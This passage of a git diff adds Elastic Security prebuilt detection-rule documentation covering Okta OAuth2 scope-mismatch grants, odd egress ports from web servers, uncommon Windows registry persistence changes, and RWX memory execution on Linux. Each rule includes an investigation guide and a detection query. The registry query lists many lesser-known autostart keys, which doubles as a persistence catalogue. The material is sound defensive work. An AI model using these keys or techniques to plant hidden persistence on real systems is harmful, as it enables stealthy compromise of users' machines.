+* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: SaaS +* Data Source: Okta +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unauthorized Scope for Public App OAuth2 Token Grant with Client Credentials* + + +OAuth 2.0 is a protocol for authorization, allowing apps to access resources on behalf of users. Public client apps, lacking secure storage, use client credentials for token grants. Adversaries may exploit compromised credentials to request unauthorized scopes. The detection rule identifies failed token grants due to scope mismatches, signaling potential misuse of client credentials. + + +*Possible investigation steps* + + +- Review the `okta.actor.display_name` field to identify the public client app involved in the failed token grant attempt and determine if it is a known or expected application. +- Examine the `okta.debug_context.debug_data.flattened.requestedScopes` field to understand which unauthorized scopes were requested and assess their potential impact if accessed. +- Investigate the `okta.actor.type` field to confirm that the actor is indeed a public client app, which lacks secure storage, and evaluate the risk of compromised credentials. +- Check the `okta.outcome.reason` field for "no_matching_scope" to verify that the failure was due to a scope mismatch, indicating an attempt to access unauthorized resources. +- Analyze the `okta.client.user_agent.raw_user_agent` field to ensure the request did not originate from known Okta integrations, which are excluded from the rule, to rule out false positives. +- Correlate the event with other security logs or alerts to identify any patterns or additional suspicious activities related to the same client credentials or IP address. + + +*False positive analysis* + + +- Frequent legitimate access attempts by known public client apps may trigger false positives. To manage this, consider creating exceptions for specific `okta.actor.display_name` values that are known to frequently request scopes without malicious intent. +- Automated processes or integrations that use client credentials might occasionally request scopes not typically associated with their function. Review these processes and, if deemed non-threatening, exclude their `okta.client.user_agent.raw_user_agent` from triggering the rule. +- Development or testing environments often simulate various OAuth 2.0 token grant scenarios, which can result in false positives. Identify and exclude these environments by their `okta.actor.display_name` or other distinguishing attributes. +- Regularly review and update the list of non-threatening scopes in `okta.debug_context.debug_data.flattened.requestedScopes` to ensure that legitimate scope requests are not flagged as unauthorized. + + +*Response and remediation* + + +- Immediately revoke the compromised client credentials to prevent further unauthorized access attempts. +- Conduct a thorough review of the affected public client app's access logs to identify any successful unauthorized access or data exfiltration attempts. +- Notify the application owner and relevant security teams about the incident to ensure coordinated response efforts. +- Implement additional monitoring on the affected app and associated user accounts to detect any further suspicious activities. +- Update and enforce stricter access controls and scope permissions for public client apps to minimize the risk of unauthorized scope requests. +- Consider implementing multi-factor authentication (MFA) for accessing sensitive resources to add an additional layer of security. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if broader organizational impacts exist. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: okta.system + and event.action: "app.oauth2.as.token.grant" + and okta.actor.type: "PublicClientApp" + and okta.debug_context.debug_data.flattened.grantType: "client_credentials" + and okta.outcome.result: "FAILURE" + and not okta.client.user_agent.raw_user_agent: "Okta-Integrations" + and not okta.actor.display_name: (Okta* or Datadog) + and not okta.debug_context.debug_data.flattened.requestedScopes: ("okta.logs.read" or "okta.eventHooks.read" or "okta.inlineHooks.read") + and okta.outcome.reason: "no_matching_scope" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uncommon-destination-port-connection-by-web-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uncommon-destination-port-connection-by-web-server.asciidoc new file mode 100644 index 0000000000..ea7782b6ab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uncommon-destination-port-connection-by-web-server.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-20-uncommon-destination-port-connection-by-web-server]] +=== Uncommon Destination Port Connection by Web Server + +This rule identifies unusual destination port network activity originating from a web server process. The rule is designed to detect potential web shell activity or unauthorized communication from a web server process to external systems. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Uncommon Destination Port Connection by Web Server* + + +Web servers, crucial for hosting applications, typically communicate over standard ports like 80 and 443. Adversaries may exploit web server processes to establish unauthorized connections to unusual ports, potentially indicating web shell activity or data exfiltration. This detection rule identifies such anomalies by monitoring egress connections from web server processes to non-standard ports, excluding common local IP ranges, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the process name and user associated with the alert to determine if the connection attempt was made by a legitimate web server process or user, as specified in the query fields (e.g., process.name or user.name). +- Examine the destination IP address to assess whether it is known or suspicious, and check if it falls outside the excluded local IP ranges. +- Investigate the destination port to understand why the connection was attempted on a non-standard port, and determine if this port is associated with any known services or threats. +- Check historical logs for any previous connection attempts from the same process or user to the same or similar destination IPs and ports to identify patterns or repeated behavior. +- Analyze any related network traffic or logs to identify additional context or anomalies that may indicate unauthorized activity or data exfiltration. +- Correlate the alert with other security events or alerts to determine if it is part of a larger attack pattern or campaign. + + +*False positive analysis* + + +- Routine administrative tasks or maintenance scripts may trigger alerts if they involve web server processes connecting to non-standard ports. To manage this, identify and document these tasks, then create exceptions for the specific processes and ports involved. +- Internal monitoring or management tools that use non-standard ports for legitimate purposes can cause false positives. Review the tools in use and exclude their known IP addresses and ports from the rule. +- Development or testing environments often use non-standard ports for web server processes. Ensure these environments are well-documented and consider excluding their IP ranges or specific ports from the rule. +- Load balancers or reverse proxies might redirect traffic to non-standard ports as part of their normal operation. Verify the configuration of these devices and exclude their IP addresses and ports if necessary. +- Custom applications running on web servers may require communication over non-standard ports. Work with application owners to understand these requirements and adjust the rule to exclude these specific cases. + + +*Response and remediation* + + +- Immediately isolate the affected web server from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough review of the web server's logs and processes to identify any unauthorized changes or suspicious activities, focusing on the processes and user accounts mentioned in the detection rule. +- Terminate any suspicious processes identified during the investigation that are not part of the standard operation of the web server. +- Change passwords and review permissions for the user accounts associated with the web server processes to ensure they have not been compromised. +- Restore the web server from a known good backup if any unauthorized changes or malware are detected, ensuring that the backup is free from compromise. +- Implement network segmentation to limit the web server's access to critical systems and data, reducing the potential impact of future incidents. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems may be affected, ensuring comprehensive threat containment and remediation. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and ( + process.name like ( + "apache", "nginx", "apache2", "httpd", "lighttpd", "caddy", "mongrel_rails", "gunicorn", + "uwsgi", "openresty", "cherokee", "h2o", "resin", "puma", "unicorn", "traefik", "tornado", "hypercorn", + "daphne", "twistd", "yaws", "webfsd", "httpd.worker", "flask", "rails", "mongrel", "php-fpm*", "php-cgi", + "php-fcgi", "php-cgi.cagefs", "catalina.sh", "hiawatha", "lswsctrl" + ) or + user.name in ("apache", "www-data", "httpd", "nginx", "lighttpd", "tomcat", "tomcat8", "tomcat9") or + user.id in ("33", "498", "48") or + (process.name == "java" and process.working_directory like "/u0?/*") +) and +network.direction == "egress" and destination.ip != null and +not destination.port in (80, 443, 8080, 8443, 8000, 8888, 3128, 3306, 5432, 8220, 8082) and +not cidrmatch(destination.ip, "127.0.0.0/8", "::1","FE80::/10", "FF00::/8", "10.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", +"192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", +"224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "224.0.0.0/4", "240.0.0.0/4") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Standard Port +** ID: T1571 +** Reference URL: https://attack.mitre.org/techniques/T1571/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uncommon-registry-persistence-change.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uncommon-registry-persistence-change.asciidoc new file mode 100644 index 0000000000..9c9bc56116 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-uncommon-registry-persistence-change.asciidoc @@ -0,0 +1,226 @@ +[[prebuilt-rule-8-19-20-uncommon-registry-persistence-change]] +=== Uncommon Registry Persistence Change + +Detects changes to registry persistence keys that are not commonly used or modified by legitimate programs. This could be an indication of an adversary's attempt to persist in a stealthy manner. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2 +* https://github.com/rad9800/BootExecuteEDR + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Uncommon Registry Persistence Change* + + +Windows Registry is a critical system database storing configuration settings. Adversaries exploit registry keys for persistence, ensuring malicious code executes on startup or during specific events. The detection rule identifies unusual modifications to less commonly altered registry keys, which may indicate stealthy persistence attempts. It filters out benign changes by excluding known legitimate processes and paths, focusing on suspicious alterations. + + +*Possible investigation steps* + + +- Review the specific registry path and value that triggered the alert to understand the context of the change and its potential impact on system behavior. +- Identify the process responsible for the registry modification by examining the process.name and process.executable fields, and determine if it is a known legitimate process or potentially malicious. +- Check the registry.data.strings field to see the new data or command being set in the registry key, and assess whether it aligns with known legitimate software or suspicious activity. +- Investigate the user account associated with the registry change by reviewing the HKEY_USERS path, if applicable, to determine if the change was made by an authorized user or an unexpected account. +- Correlate the alert with other recent events on the host, such as file modifications or network connections, to identify any additional indicators of compromise or related suspicious activity. +- Consult threat intelligence sources or databases to see if the registry path or process involved is associated with known malware or adversary techniques. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify registry keys for setup or configuration purposes. Users can create exceptions for known software paths like C:\Program Files\*.exe to reduce noise. +- System maintenance processes such as Windows Update might trigger changes in registry keys like SetupExecute. Exclude processes like TiWorker.exe and poqexec.exe when they match known update patterns. +- Administrative scripts or tools that automate system configurations can alter registry keys. Identify and exclude these scripts by their executable paths or process names to prevent false alerts. +- Security software, including antivirus or endpoint protection, may interact with registry keys for monitoring purposes. Exclude paths related to these tools, such as C:\ProgramData\Microsoft\Windows Defender\Platform\*\MsMpEng.exe, to avoid false positives. +- User-initiated changes through control panel settings or personalization options can affect registry keys like SCRNSAVE.EXE. Exclude common system paths like %windir%\system32\rundll32.exe user32.dll,LockWorkStation to minimize false detections. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of potential malicious activity. +- Terminate any suspicious processes identified in the alert, particularly those not matching known legitimate executables or paths. +- Restore any altered registry keys to their original state using a known good backup or by manually resetting them to default values. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Review and update endpoint protection policies to ensure that similar registry changes are monitored and alerted on in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Document the incident, including all actions taken, to improve future response efforts and update threat intelligence databases. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + length(registry.data.strings) > 0 and + registry.path : ( + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Runonce\\*", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Run", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\IconServiceLib", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\AppSetup", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Taskman", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\VmApplet", + "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Shell", + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logoff\\Script", + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logon\\Script", + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Shutdown\\Script", + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Startup\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Shell", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logoff\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logon\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Shutdown\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Startup\\Script", + "HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\*\\ShellComponent", + "HKLM\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnConnect\\MicrosoftActiveSync", + "HKLM\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnDisconnect\\MicrosoftActiveSync", + "HKLM\\SOFTWARE\\Microsoft\\Ctf\\LangBarAddin\\*\\FilePath", + "HKLM\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Exec", + "HKLM\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Script", + "HKLM\\SOFTWARE\\Microsoft\\Command Processor\\Autorun", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Ctf\\LangBarAddin\\*\\FilePath", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Exec", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Command Processor\\Autorun", + "HKEY_USERS\\*\\Control Panel\\Desktop\\scrnsave.exe", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\\VerifierDlls", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GpExtensions\\*\\DllName", + "HKLM\\SYSTEM\\ControlSet*\\Control\\SafeBoot\\AlternateShell", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Terminal Server\\Wds\\rdpwd\\StartupPrograms", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\InitialProgram", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\BootExecute", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\BootExecuteNoPnpSync", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\SetupExecute", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\SetupExecuteNoPnpSync", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\PlatformExecute", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\Execute", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\S0InitialCommand", + "HKLM\\SYSTEM\\ControlSet*\\Control\\ServiceControlManagerExtension", + "HKLM\\SYSTEM\\ControlSet*\\Control\\BootVerificationProgram\\ImagePath", + "HKLM\\SYSTEM\\Setup\\CmdLine", + "HKEY_USERS\\*\\Environment\\UserInitMprLogonScript") and + + not registry.data.strings : ("C:\\Windows\\system32\\userinit.exe", "cmd.exe", "C:\\Program Files (x86)\\*.exe", + "C:\\Program Files\\*.exe") and + not (process.name : "rundll32.exe" and registry.path : "*\\Software\\Microsoft\\Internet Explorer\\Extensions\\*\\Script") and + not process.executable : ("C:\\Windows\\System32\\msiexec.exe", + "C:\\Windows\\SysWOW64\\msiexec.exe", + "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*\\MsMpEng.exe", + "C:\\Program Files\\*.exe", + "C:\\Program Files (x86)\\*.exe") and + not (process.name : ("TiWorker.exe", "poqexec.exe") and registry.value : "SetupExecute" and + registry.data.strings : ( + "C:\\windows\\System32\\poqexec.exe /display_progress \\SystemRoot\\WinSxS\\pending.xml", + "C:\\Windows\\System32\\poqexec.exe /skip_critical_poq /display_progress \\SystemRoot\\WinSxS\\pending.xml" + ) + ) and + not (process.name : "svchost.exe" and registry.value : "SCRNSAVE.EXE" and + registry.data.strings : ( + "%windir%\\system32\\rundll32.exe user32.dll,LockWorkStation", + "scrnsave.scr", + "%windir%\\system32\\Ribbons.scr" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Technique: +** Name: Software Extensions +** ID: T1176 +** Reference URL: https://attack.mitre.org/techniques/T1176/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Screensaver +** ID: T1546.002 +** Reference URL: https://attack.mitre.org/techniques/T1546/002/ +* Sub-technique: +** Name: Image File Execution Options Injection +** ID: T1546.012 +** Reference URL: https://attack.mitre.org/techniques/T1546/012/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Sub-technique: +** Name: Active Setup +** ID: T1547.014 +** Reference URL: https://attack.mitre.org/techniques/T1547/014/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unknown-execution-of-binary-with-rwx-memory-region.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unknown-execution-of-binary-with-rwx-memory-region.asciidoc new file mode 100644 index 0000000000..ff8f396996 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unknown-execution-of-binary-with-rwx-memory-region.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-unknown-execution-of-binary-with-rwx-memory-region]] +=== Unknown Execution of Binary with RWX Memory Region + +Monitors for the execution of a previously unknown unix binary with read, write and execute memory region permissions. The mprotect() system call is used to change the access protections on a region of memory that has already been allocated. This syscall allows a process to modify the permissions of pages in its virtual address space, enabling or disabling permissions such as read, write, and execute for those pages. RWX permissions on memory is in many cases overly permissive, and should be analyzed thoroughly. + +*Rule type*: new_terms + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://man7.org/linux/man-pages/man2/mprotect.2.html +* https://www.elastic.co/security-labs/linux-detection-engineering-with-auditd + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unknown Execution of Binary with RWX Memory Region* + + +In Linux environments, the `mprotect()` system call is crucial for managing memory permissions, allowing processes to modify access rights of memory pages. Adversaries exploit this by granting read, write, and execute (RWX) permissions to inject and execute malicious code. The detection rule identifies suspicious RWX memory allocations by monitoring `mprotect()` calls, excluding known safe binaries, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the process details associated with the alert, focusing on the process.executable and process.name fields to identify the binary that triggered the alert. +- Investigate the command line arguments and parent process of the suspicious binary to understand its origin and purpose. +- Check the process's hash against known threat intelligence databases to determine if it is associated with any known malicious activity. +- Analyze the network activity of the process to identify any suspicious connections or data exfiltration attempts. +- Examine the user account under which the process is running to assess if it has been compromised or is being used for unauthorized activities. +- Review recent system logs and audit records for any other anomalies or related suspicious activities around the time of the alert. + + +*False positive analysis* + + +- Known safe binaries like Node.js, Java, and Apache may trigger the rule due to their legitimate use of RWX memory regions. These are already excluded in the rule, but additional similar applications might need to be added to the exclusion list. +- Custom or in-house developed applications that require RWX permissions for legitimate functionality can also cause false positives. Identify these applications and add them to the exclusion list to prevent unnecessary alerts. +- Development environments or testing frameworks that dynamically generate and execute code might be flagged. Consider excluding these environments if they are known and trusted within your organization. +- Security tools or monitoring software that perform memory analysis or manipulation could be mistakenly identified. Verify their behavior and exclude them if they are part of your security infrastructure. +- Regularly review and update the exclusion list to ensure it reflects the current environment and any new applications that are introduced. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or data exfiltration by the malicious code. +- Terminate the suspicious process identified by the detection rule to halt any ongoing malicious activity. +- Conduct a forensic analysis of the affected system to identify the source and scope of the compromise, focusing on the unknown binary and its origin. +- Remove any malicious binaries or scripts identified during the forensic analysis to prevent further execution. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Restore the system from a known good backup if the integrity of the system is in question and ensure all security patches are applied post-restoration. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires the use of the `auditd_manager` integration. `Auditd_manager` is a tool designed to simplify and enhance the management of the audit subsystem in Linux systems. It provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. The following steps should be executed in order to install and deploy `auditd_manager` on a Linux system. +``` +Kibana --> +Management --> +Integrations --> +Auditd Manager --> +Add Auditd Manager +``` +`Auditd_manager` subscribes to the kernel and receives events as they occur without any additional configuration. However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +For this detection rule to trigger, the following additional audit rules are required to be added to the integration: +``` +-a always,exit -F arch=b64 -S mprotect +``` +Add the newly installed `auditd manager` to an agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and auditd.data.syscall:mprotect and auditd.data.a2:7 and not ( + process.executable:( + "/usr/share/kibana/node/bin/node" or "/usr/share/elasticsearch/jdk/bin/java" or "/usr/sbin/apache2" + ) or + process.name:(httpd or java or node or dotnet or github-desktop or code or tenzir or brave or qemu-* or php* or deno) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Reflective Code Loading +** ID: T1620 +** Reference URL: https://attack.mitre.org/techniques/T1620/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unsigned-dll-loaded-by-dns-service.asciidoc 